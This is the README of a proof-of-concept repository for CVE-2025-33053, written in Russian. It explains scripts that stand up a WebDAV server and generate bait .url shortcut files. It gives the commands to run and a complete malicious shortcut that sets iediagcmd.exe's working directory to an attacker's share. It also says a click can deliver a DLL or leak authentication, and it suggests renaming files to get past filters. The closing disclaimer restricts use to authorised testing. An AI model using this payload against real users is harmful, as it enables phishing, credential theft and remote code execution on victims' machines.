CVE-2025-33053 Доказательство концепции (PoC)
Этот репозиторий предоставляет скрипты для автоматического развёртывания WebDAV-сервера на Ubuntu с помощью Apache2 и генерации вредоносных файлов ярлыков .url для использования в фишинге, red teaming или симуляции бокового перемещения.
setup_webdav.sh – Bash-скрипт для настройки Apache2 + WebDAV.setup_webdav.py – Python-версия вышеуказанного.gen_url.py – Python-скрипт для генерации файлов ярлыков .url с UNC/WebDAV-путями.README.md – Документация.sudo)sudo bash setup_webdav.sh
Или с помощью Python:
sudo python3 setup_webdav.py
По умолчанию скрипт:
/var/www/webdav.DAV и DAV_FS.DavLockDB (для предотвращения ошибок блокировки Apache DAV).📎 Путь WebDAV:
http://<ваш-ip>/webdav/
.urlpython3 gen_url.py --ip 192.168.1.100 --out doc.url
python3 gen_url.py \
--ip 《ВАШ IP-АДРЕС》\
--share 《ИМЯ ОБЩЕГО РЕСУРСА》(По умолчанию: webdav) \
--out 《ИМЯ ВЫХОДНОГО ФАЙЛА.url》(По умолчанию: bait.url) \
--exe "C:\Program Files\Internet Explorer\iediagcmd.exe" \
--icon "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" \
--index 13 \
--modified 20F06BA06D07BD014D
Это создаст файл .url следующего вида:
[InternetShortcut]
URL=C:\Program Files\Internet Explorer\iediagcmd.exe
WorkingDirectory=\\192.168.1.100\webdav\
ShowCommand=7
IconIndex=13
IconFile=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Modified=20F06BA06D07BD014D
📌 Нажатие на этот файл (при определённых конфигурациях) может заставить целевую систему автоматически подключиться к вашему WebDAV-серверу (аутентификация или доставка DLL).
sudo ufw allow 80
.url могут не выполняться так, как ожидается, в зависимости от:
.url в .txt, чтобы обойти фильтры.Этот репозиторий предназначен только для образовательного и авторизованного тестирования на проникновение.
Не используйте эти скрипты против систем, которыми вы не владеете или на тестирование которых у вас нет разрешения.
По вопросам или запросам на этичный red teaming обращайтесь через issues на GitHub.